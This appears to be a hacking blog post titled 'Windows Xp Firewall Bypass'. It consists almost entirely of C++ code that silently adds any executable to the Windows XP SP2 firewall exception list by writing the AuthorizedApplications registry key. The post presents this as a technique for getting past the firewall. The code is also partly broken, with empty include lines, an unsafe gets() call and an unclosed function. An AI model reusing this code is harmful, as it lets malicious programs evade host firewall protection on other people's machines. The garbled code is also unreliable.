Home > Hacking > [c++] Windows Xp Firewall Bypass

[c++] Windows Xp Firewall Bypass


include
#include

int AddToWindowsFirewall(char *displayname,char * exepath);

int main()
{
char dspname[MAX_PATH] = “”;
char exepath[MAX_PATH] = “”;

printf(“Add To WinXP SP2 Firewall Exeception List\nBy Smith\n\n”);

printf(“Enter display name: “);
gets(dspname);

printf(“Enter exe path: “);
gets(exepath);

if(AddToWindowsFirewall(dspname,exepath))
{
printf(“Success!\n”);
}else{
printf(“Failure!\n”);
}
return 0;
}

int AddToWindowsFirewall(char *displayname,char * exepath)
{
HKEY hKey;

char filedata[MAX_PATH] = “”;

wsprintf(filedata,”%s:*:Enabled:%s”,exepath,displayname);

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,”System\\ControlSet001\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List”,0,KEY_ALL_ACCESS,&hKey)) return 0;
if(RegSetValueEx(hKey,exepath,0,REG_SZ,(unsigned char*)filedata,sizeof(filedata))) return 0;

RegCloseKey(hKey);

return 1;//Success

Categories: Hacking
  1. No comments yet.
  1. No trackbacks yet.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: